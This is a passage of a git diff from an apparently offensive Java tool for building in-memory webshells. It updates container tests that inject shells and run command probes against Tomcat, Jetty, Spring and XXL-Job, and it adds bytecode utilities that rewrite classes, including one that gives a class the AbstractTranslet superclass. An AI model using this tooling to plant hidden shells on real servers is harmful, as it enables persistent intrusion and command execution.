ShellType.LISTENER, + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, ShellType.UNDERTOW_AGENT_SERVLET_HANDLER ); - List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.ScriptEngine); + List testPackers = List.of(Packers.JSP); List> unSupportedCases = List.of( Triple.of(ShellType.UNDERTOW_AGENT_SERVLET_HANDLER, ShellTool.AntSword, Packers.AgentJar) // Request ClassNotFound in module ); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/xxljob/XxlJob220ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/xxljob/XxlJob220ContainerTest.java index 235135ef..d94d8783 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/xxljob/XxlJob220ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/xxljob/XxlJob220ContainerTest.java @@ -11,7 +11,7 @@ import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; -import org.testcontainers.containers.DockerComposeContainer; +import org.testcontainers.containers.ComposeContainer; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; @@ -33,8 +33,8 @@ public class XxlJob220ContainerTest { public static final String imageName = "xxljob/xxljob220"; @Container - public static final DockerComposeContainer compose = - new DockerComposeContainer<>(new File("docker-compose/xxl-job/docker-compose-220.yaml")) + public static final ComposeContainer compose = + new ComposeContainer(new File("docker-compose/xxl-job/docker-compose-220.yaml")) .withExposedService("executor", 9999); static Stream casesProvider() { diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/xxljob/XxlJob230ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/xxljob/XxlJob230ContainerTest.java index b95bb065..ea3c3aac 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/xxljob/XxlJob230ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/xxljob/XxlJob230ContainerTest.java @@ -11,7 +11,7 @@ import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; -import org.testcontainers.containers.DockerComposeContainer; +import org.testcontainers.containers.ComposeContainer; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; @@ -33,8 +33,8 @@ public class XxlJob230ContainerTest { public static final String imageName = "xxljob/xxljob230"; @Container - public static final DockerComposeContainer compose = - new DockerComposeContainer<>(new File("docker-compose/xxl-job/docker-compose-230.yaml")) + public static final ComposeContainer compose = + new ComposeContainer(new File("docker-compose/xxl-job/docker-compose-230.yaml")) .withExposedService("executor", 9999); static Stream casesProvider() { diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee10ContainerTest.java index 7315b236..019b540a 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee10ContainerTest.java @@ -36,7 +36,7 @@ public class Jetty12ee10ContainerTest { void testJDK() { String url = getUrl(container); String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JRE|21.0.7|65", data); + assertEquals("JRE|21.0.9|65", data); } @Test diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee8ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee8ContainerTest.java index 0978f2c5..a1c05290 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee8ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee8ContainerTest.java @@ -36,7 +36,7 @@ public class Jetty12ee8ContainerTest { void testJDK() { String url = getUrl(container); String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JRE|21.0.7|65", data); + assertEquals("JRE|21.0.9|65", data); } @Test diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee9ContainerTest.java index 20a41774..410c9edd 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee9ContainerTest.java @@ -36,7 +36,7 @@ public class Jetty12ee9ContainerTest { void testJDK() { String url = getUrl(container); String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JRE|21.0.7|65", data); + assertEquals("JRE|21.0.9|65", data); } @Test diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebflux/SpringBoot2WebFluxContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebflux/SpringBoot2WebFluxContainerTest.java index d51462ff..1d937b11 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebflux/SpringBoot2WebFluxContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebflux/SpringBoot2WebFluxContainerTest.java @@ -37,7 +37,7 @@ public class SpringBoot2WebFluxContainerTest { void testJDK() { String url = getUrlFromSpringBoot(container); String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JDK|1.8.0_342|52", data); + assertEquals("JDK|1.8.0_472|52", data); } @Test diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebflux/SpringBoot3WebFluxContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebflux/SpringBoot3WebFluxContainerTest.java index abaed19e..6d76aed1 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebflux/SpringBoot3WebFluxContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebflux/SpringBoot3WebFluxContainerTest.java @@ -37,7 +37,7 @@ public class SpringBoot3WebFluxContainerTest { void testJDK() { String url = getUrlFromSpringBoot(container); String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JDK|17.0.2|61", data); + assertEquals("JDK|17.0.17|61", data); } @Test diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot1ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot1ContainerTest.java index 2fb553d2..909eb3c9 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot1ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot1ContainerTest.java @@ -39,7 +39,7 @@ public class SpringBoot1ContainerTest { void testJDK() { String url = getUrlFromSpringBoot(container); String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JDK|1.8.0_342|52", data); + assertEquals("JDK|1.8.0_472|52", data); } @Test @@ -64,6 +64,13 @@ void testCommandReqHeaderResponseBody() { ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V1_6); } + @Test + @SneakyThrows + void testCommandReqHeaderResponseBodySpring() { + String url = getUrlFromSpringBoot(container); + ProbeAssertion.responseCommandIsOk(url, Server.SpringWebMvc, Opcodes.V1_6); + } + @Test @SneakyThrows void testBytecodeReqParamResponseBody() { diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2ContainerTest.java index 627342a1..7e32f2a7 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2ContainerTest.java @@ -40,7 +40,7 @@ public class SpringBoot2ContainerTest { void testJDK() { String url = getUrlFromSpringBoot(container); String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JRE|1.8.0_342|52", data); + assertEquals("JDK|1.8.0_472|52", data); } @Test @@ -65,6 +65,13 @@ void testCommandReqHeaderResponseBody() { ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V1_6); } + @Test + @SneakyThrows + void testCommandReqHeaderResponseBodySpring() { + String url = getUrlFromSpringBoot(container); + ProbeAssertion.responseCommandIsOk(url, Server.SpringWebMvc, Opcodes.V1_6); + } + @Test @SneakyThrows void testBytecodeReqParamResponseBody() { diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2JettyContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2JettyContainerTest.java index 578de680..b93661e9 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2JettyContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2JettyContainerTest.java @@ -40,7 +40,7 @@ public class SpringBoot2JettyContainerTest { void testJDK() { String url = getUrlFromSpringBoot(container); String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JDK|1.8.0_342|52", data); + assertEquals("JDK|1.8.0_472|52", data); } @Test diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2UndertowContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2UndertowContainerTest.java index 4bfea31a..0f28d517 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2UndertowContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2UndertowContainerTest.java @@ -39,7 +39,7 @@ public class SpringBoot2UndertowContainerTest { void testJDK() { String url = getUrlFromSpringBoot(container); String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JDK|1.8.0_342|52", data); + assertEquals("JDK|1.8.0_472|52", data); } @Test diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2WarContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2WarContainerTest.java index 8955e038..b79bba33 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2WarContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2WarContainerTest.java @@ -7,6 +7,7 @@ import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import org.junit.jupiter.api.Test; +import org.junitpioneer.jupiter.RetryingTest; import org.objectweb.asm.Opcodes; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.wait.strategy.Wait; @@ -35,7 +36,7 @@ public class SpringBoot2WarContainerTest { .waitingFor(Wait.forHttp("/app")) .withExposedPorts(8080); - @Test + @RetryingTest(3) void testJDK() { String url = getUrl(container); String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); @@ -64,6 +65,13 @@ void testCommandReqHeaderResponseBody() { ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V1_6); } + @Test + @SneakyThrows + void testCommandReqHeaderResponseBodySpring() { + String url = getUrl(container); + ProbeAssertion.responseCommandIsOk(url, Server.SpringWebMvc, Opcodes.V1_6); + } + @Test @SneakyThrows void testBytecodeReqParamResponseBody() { diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot3ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot3ContainerTest.java index 4a7cb68c..4295cf77 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot3ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot3ContainerTest.java @@ -39,7 +39,7 @@ public class SpringBoot3ContainerTest { void testJDK() { String url = getUrlFromSpringBoot(container); String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JDK|17.0.2|61", data); + assertEquals("JDK|17.0.17|61", data); } @Test @@ -64,6 +64,13 @@ void testCommandReqHeaderResponseBody() { ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V17); } + @Test + @SneakyThrows + void testCommandReqHeaderResponseBodySpring() { + String url = getUrlFromSpringBoot(container); + ProbeAssertion.responseCommandIsOk(url, Server.SpringWebMvc, Opcodes.V17); + } + @Test @SneakyThrows void testBytecodeReqParamResponseBody() { diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat10ContainerTest.java index 56840b8b..f38ff6b8 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat10ContainerTest.java @@ -6,7 +6,7 @@ import com.reajason.javaweb.integration.probe.DetectionTool; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; -import net.bytebuddy.jar.asm.Opcodes; +import org.objectweb.asm.Opcodes; import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.wait.strategy.Wait; @@ -63,6 +63,13 @@ void testCommandReqHeaderResponseBody() { ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V11); } + @Test + @SneakyThrows + void testScriptEngineReqHeaderResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseScriptEngineIsOk(url, Server.Tomcat, Opcodes.V11); + } + @Test @SneakyThrows void testBytecodeReqParamResponseBody() { diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat5ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat5ContainerTest.java index 548580e9..ec3cf5b5 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat5ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat5ContainerTest.java @@ -71,6 +71,13 @@ void testCommandReqHeaderResponseBody() { ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V1_6); } + @Test + @SneakyThrows + void testScriptEngineReqHeaderResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseScriptEngineIsOk(url, Server.Tomcat, Opcodes.V1_6); + } + @Test @SneakyThrows void testBytecodeReqParamResponseBody() { diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat6ContainerTest.java index 2fa90966..965bf871 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat6ContainerTest.java @@ -63,6 +63,13 @@ void testCommandReqHeaderResponseBody() { ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V1_6); } + @Test + @SneakyThrows + void testScriptEngineReqHeaderResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseScriptEngineIsOk(url, Server.Tomcat, Opcodes.V1_6); + } + @Test @SneakyThrows void testBytecodeReqParamResponseBody() { diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat7ContainerTest.java index 7aaf6e12..c9af42ce 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat7ContainerTest.java @@ -6,7 +6,7 @@ import com.reajason.javaweb.integration.probe.DetectionTool; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; -import net.bytebuddy.jar.asm.Opcodes; +import org.objectweb.asm.Opcodes; import org.junit.jupiter.api.Test; import org.junitpioneer.jupiter.RetryingTest; import org.testcontainers.containers.GenericContainer; @@ -65,6 +65,13 @@ void testCommandReqHeaderResponseBody() { ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V1_7); } + @Test + @SneakyThrows + void testScriptEngineReqHeaderResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseScriptEngineIsOk(url, Server.Tomcat, Opcodes.V1_7); + } + @Test @SneakyThrows void testBytecodeReqParamResponseBody() { diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat8ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat8ContainerTest.java index 2909cb33..04acb8e9 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat8ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat8ContainerTest.java @@ -6,7 +6,7 @@ import com.reajason.javaweb.integration.probe.DetectionTool; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; -import net.bytebuddy.jar.asm.Opcodes; +import org.objectweb.asm.Opcodes; import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.wait.strategy.Wait; @@ -64,6 +64,13 @@ void testCommandReqHeaderResponseBody() { ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V1_8); } + @Test + @SneakyThrows + void testScriptEngineReqHeaderResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseScriptEngineIsOk(url, Server.Tomcat, Opcodes.V1_8); + } + @Test @SneakyThrows void testBytecodeReqParamResponseBody() { diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat9ContainerTest.java index 906718e8..64938250 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat9ContainerTest.java @@ -6,7 +6,7 @@ import com.reajason.javaweb.integration.probe.DetectionTool; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; -import net.bytebuddy.jar.asm.Opcodes; +import org.objectweb.asm.Opcodes; import org.junit.jupiter.api.Test; import org.junitpioneer.jupiter.RetryingTest; import org.testcontainers.containers.GenericContainer; diff --git a/memshell-party-common/src/main/java/com/reajason/javaweb/asm/ClassInterfaceUtils.java b/memshell-party-common/src/main/java/com/reajason/javaweb/asm/ClassInterfaceUtils.java new file mode 100644 index 00000000..9d4f6ea6 --- /dev/null +++ b/memshell-party-common/src/main/java/com/reajason/javaweb/asm/ClassInterfaceUtils.java @@ -0,0 +1,47 @@ +package com.reajason.javaweb.asm; + +import org.objectweb.asm.ClassReader; +import org.objectweb.asm.ClassVisitor; +import org.objectweb.asm.ClassWriter; +import org.objectweb.asm.Opcodes; + +/** + * @author ReaJason + * @since 2025/11/16 + */ +public class ClassInterfaceUtils { + + public static byte[] addInterface(byte[] bytes, String interfaceName) { + ClassReader cr = new ClassReader(bytes); + ClassWriter cw = new ClassWriter(cr, 0); + ClassVisitor cv = new AddInterfaceClassAdapter(cw, interfaceName.replace('.', '/')); + cr.accept(cv, 0); + return cw.toByteArray(); + } + + + static class AddInterfaceClassAdapter extends ClassVisitor { + + private final String interfaceToAdd; + + public AddInterfaceClassAdapter(ClassVisitor cv, String interfaceToAdd) { + super(Opcodes.ASM9, cv); + this.interfaceToAdd = interfaceToAdd; + } + + @Override + public void visit(int version, int access, String name, + String signature, String superName, String[] interfaces) { + for (String itf : interfaces) { + if (itf.equals(interfaceToAdd)) { + super.visit(version, access, name, signature, superName, interfaces); + return; + } + } + String[] newInterfaces = new String[interfaces.length + 1]; + System.arraycopy(interfaces, 0, newInterfaces, 0, interfaces.length); + newInterfaces[interfaces.length] = interfaceToAdd; + super.visit(version, access, name, signature, superName, newInterfaces); + } + } +} diff --git a/memshell-party-common/src/main/java/com/reajason/javaweb/asm/ClassSuperClassUtils.java b/memshell-party-common/src/main/java/com/reajason/javaweb/asm/ClassSuperClassUtils.java new file mode 100644 index 00000000..f0c04dab --- /dev/null +++ b/memshell-party-common/src/main/java/com/reajason/javaweb/asm/ClassSuperClassUtils.java @@ -0,0 +1,65 @@ +package com.reajason.javaweb.asm; + +import org.objectweb.asm.*; + +public class ClassSuperClassUtils { + + public static byte[] addSuperClass(byte[] bytes, String superClassName) { + ClassReader cr = new ClassReader(bytes); + ClassWriter cw = new ClassWriter(cr, 0); + ClassVisitor cv = new AddSuperClassAdapter(cw, superClassName.replace('.', '/')); + cr.accept(cv, 0); + return cw.toByteArray(); + } + + static class AddSuperClassAdapter extends ClassVisitor { + private final String newSuperName; + + public AddSuperClassAdapter(ClassVisitor cv, String newSuperName) { + super(Opcodes.ASM9, cv); + this.newSuperName = newSuperName; + } + + @Override + public void visit(int version, int access, String name, + String signature, String superName, String[] interfaces) { + if (!"java/lang/Object".equals(superName)) { + throw new IllegalStateException(String.format( + "Cannot add superclass to class '%s': it already extends '%s'.", name, superName + )); + } + super.visit(version, access, name, signature, newSuperName, interfaces); + } + + @Override + public MethodVisitor visitMethod(int access, String name, String descriptor, + String signature, String[] exceptions) { + MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); + if ("".equals(name)) { + return new ChangeConstructorAdapter(mv, newSuperName); + } + return mv; + } + } + + static class ChangeConstructorAdapter extends MethodVisitor { + private final String newSuperName; + + public ChangeConstructorAdapter(MethodVisitor mv, String newSuperName) { + super(Opcodes.ASM9, mv); + this.newSuperName = newSuperName; + } + + @Override + public void visitMethodInsn(int opcode, String owner, String name, + String descriptor, boolean isInterface) { + if (opcode == Opcodes.INVOKESPECIAL && + "java/lang/Object".equals(owner) && + "".equals(name)) { + super.visitMethodInsn(opcode, newSuperName, name, descriptor, isInterface); + } else { + super.visitMethodInsn(opcode, owner, name, descriptor, isInterface); + } + } + } +} \ No newline at end of file diff --git a/memshell-party-common/src/main/java/com/reajason/javaweb/buddy/StaticBlockSelfConstructorCall.java b/memshell-party-common/src/main/java/com/reajason/javaweb/buddy/StaticBlockSelfConstructorCall.java index 982792bb..8869f49f 100644 --- a/memshell-party-common/src/main/java/com/reajason/javaweb/buddy/StaticBlockSelfConstructorCall.java +++ b/memshell-party-common/src/main/java/com/reajason/javaweb/buddy/StaticBlockSelfConstructorCall.java @@ -31,7 +31,7 @@ public static DynamicType.Builder extend(DynamicType.Builder builder) { @Override public Size apply(MethodVisitor methodVisitor, Implementation.Context implementationContext, - MethodDescription instrumentedMethod) { + MethodDescription methodDescription) { methodVisitor.visitTypeInsn(Opcodes.NEW, implementationContext.getInstrumentedType().getInternalName()); methodVisitor.visitInsn(Opcodes.DUP); methodVisitor.visitMethodInsn(Opcodes.INVOKESPECIAL, diff --git a/memshell-party-common/src/test/java/com/reajason/javaweb/asm/ClassInterfaceUtilsTest.java b/memshell-party-common/src/test/java/com/reajason/javaweb/asm/ClassInterfaceUtilsTest.java new file mode 100644 index 00000000..63665ea4 --- /dev/null +++ b/memshell-party-common/src/test/java/com/reajason/javaweb/asm/ClassInterfaceUtilsTest.java @@ -0,0 +1,120 @@ +package com.reajason.javaweb.asm; + +import net.bytebuddy.ByteBuddy; +import org.junit.jupiter.api.Test; +import org.objectweb.asm.ClassReader; + +import javax.script.ScriptEngine; +import javax.script.ScriptEngineFactory; +import java.io.Serializable; +import java.util.Collections; +import java.util.List; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2025/11/16 + */ +class ClassInterfaceUtilsTest { + + @Test + void test() { + String interfaceName = "javax.script.ScriptEngineFactory"; + byte[] bytes = new ByteBuddy().redefine(EmptyInterface.class).make().getBytes(); + byte[] newBytes = ClassInterfaceUtils.addInterface(bytes, interfaceName); + String[] interfaces = new ClassReader(newBytes).getInterfaces(); + assertEquals(1, interfaces.length); + assertEquals(interfaceName.replace(".", "/"), interfaces[0]); + } + + @Test + void skipAdd(){ + String interfaceName = "javax.script.ScriptEngineFactory"; + byte[] bytes = new ByteBuddy().redefine(ScriptEngineFactoryClass.class).make().getBytes(); + byte[] newBytes = ClassInterfaceUtils.addInterface(bytes, interfaceName); + String[] interfaces = new ClassReader(newBytes).getInterfaces(); + assertEquals(1, interfaces.length); + assertEquals(interfaceName.replace(".", "/"), interfaces[0]); + } + + @Test + void addNewInterface(){ + String interfaceName = "javax.script.ScriptEngineFactory"; + byte[] bytes = new ByteBuddy().redefine(Entity.class).make().getBytes(); + byte[] newBytes = ClassInterfaceUtils.addInterface(bytes, interfaceName); + String[] interfaces = new ClassReader(newBytes).getInterfaces(); + assertEquals(2, interfaces.length); + assertEquals("java/io/Serializable", interfaces[0]); + assertEquals(interfaceName.replace(".", "/"), interfaces[1]); + } + + static class EmptyInterface { + } + + static class ScriptEngineFactoryClass implements ScriptEngineFactory { + @Override + public String getEngineName() { + return ""; + } + + @Override + public String getEngineVersion() { + return ""; + } + + @Override + public List getExtensions() { + return Collections.emptyList(); + } + + @Override + public List getMimeTypes() { + return Collections.emptyList(); + } + + @Override + public List getNames() { + return Collections.emptyList(); + } + + @Override + public String getLanguageName() { + return ""; + } + + @Override + public String getLanguageVersion() { + return ""; + } + + @Override + public Object getParameter(String key) { + return null; + } + + @Override + public String getMethodCallSyntax(String obj, String m, String... args) { + return ""; + } + + @Override + public String getOutputStatement(String toDisplay) { + return ""; + } + + @Override + public String getProgram(String... statements) { + return ""; + } + + @Override + public ScriptEngine getScriptEngine() { + return null; + } + } + + static class Entity implements Serializable { + + } +} \ No newline at end of file diff --git a/memshell-party-common/src/test/java/com/reajason/javaweb/asm/ClassSuperClassUtilsTest.java b/memshell-party-common/src/test/java/com/reajason/javaweb/asm/ClassSuperClassUtilsTest.java new file mode 100644 index 00000000..c3b3dbca --- /dev/null +++ b/memshell-party-common/src/test/java/com/reajason/javaweb/asm/ClassSuperClassUtilsTest.java @@ -0,0 +1,37 @@ +package com.reajason.javaweb.asm; + +import net.bytebuddy.ByteBuddy; +import org.junit.jupiter.api.Test; +import org.objectweb.asm.ClassReader; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertThrows; + +/** + * @author ReaJason + * @since 2025/11/19 + */ +class ClassSuperClassUtilsTest { + @Test + void test() { + String superClassName = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; + byte[] bytes = new ByteBuddy().redefine(EmptySuperClass.class).make().getBytes(); + byte[] newBytes = ClassSuperClassUtils.addSuperClass(bytes, superClassName); + assertEquals("java/lang/Object", new ClassReader(bytes).getSuperName()); + assertEquals(superClassName.replace(".", "/"), new ClassReader(newBytes).getSuperName()); + } + + @Test + void testException() { + String superClassName = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; + byte[] bytes = new ByteBuddy().redefine(SuperClass.class).make().getBytes(); + assertThrows(IllegalStateException.class, () -> ClassSuperClassUtils.addSuperClass(bytes, superClassName)); + } + + class EmptySuperClass { + + } + + class SuperClass extends EmptySuperClass { + } +} \ No newline at end of file diff --git a/memshell-party-common/src/test/java/com/reajason/javaweb/buddy/StaticBlockSelfConstructorCallTest.java b/memshell-party-common/src/test/java/com/reajason/javaweb/buddy/StaticBlockSelfConstructorCallTest.java new file mode 100644 index 00000000..aaed8e4f --- /dev/null +++ b/memshell-party-common/src/test/java/com/reajason/javaweb/buddy/StaticBlockSelfConstructorCallTest.java @@ -0,0 +1,52 @@ +package com.reajason.javaweb.buddy; + +import lombok.SneakyThrows; +import net.bytebuddy.ByteBuddy; +import net.bytebuddy.dynamic.DynamicType; +import org.junit.jupiter.api.Test; + +import java.nio.file.Files; +import java.nio.file.Paths; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNull; + +/** + * @author ReaJason + * @since 2025/11/8 + */ +class StaticBlockSelfConstructorCallTest { + public static class MyClass { + public static String message; + + static { + System.out.println("hello world"); + } + + public MyClass() { + message = "Hello World!"; + System.out.println("MyClass constructor called with message: " + message); + } + + public String getMessage() { + return message; + } + } + + @Test + @SneakyThrows + void test() { + Class rawClass = new ByteBuddy() + .redefine(MyClass.class) + .name("MyClass").make().load(StaticBlockSelfConstructorCallTest.class.getClassLoader()).getLoaded(); + assertNull(rawClass.getDeclaredField("message").get(null)); + + Class redefinedClass = StaticBlockSelfConstructorCall.extend( + new ByteBuddy() + .redefine(MyClass.class) + .name("MyClass") + ).make().load(StaticBlockSelfConstructorCallTest.class.getClassLoader()) + .getLoaded(); + assertEquals("Hello World!", redefinedClass.getDeclaredField("message").get(null)); + } +} \ No newline at end of file diff --git a/packer/src/main/java/com/reajason/javaweb/packer/jar/JarPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/JarPacker.java similarity index 74% rename from packer/src/main/java/com/reajason/javaweb/packer/jar/JarPacker.java rename to packer/src/main/java/com/reajason/javaweb/packer/JarPacker.java index 9c35f0f9..4b1f8937 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/jar/JarPacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/JarPacker.java @@ -1,7 +1,4 @@ -package com.reajason.javaweb.packer.jar; - -import com.reajason.javaweb.packer.JarPackerConfig; -import com.reajason.javaweb.packer.Packer; +package 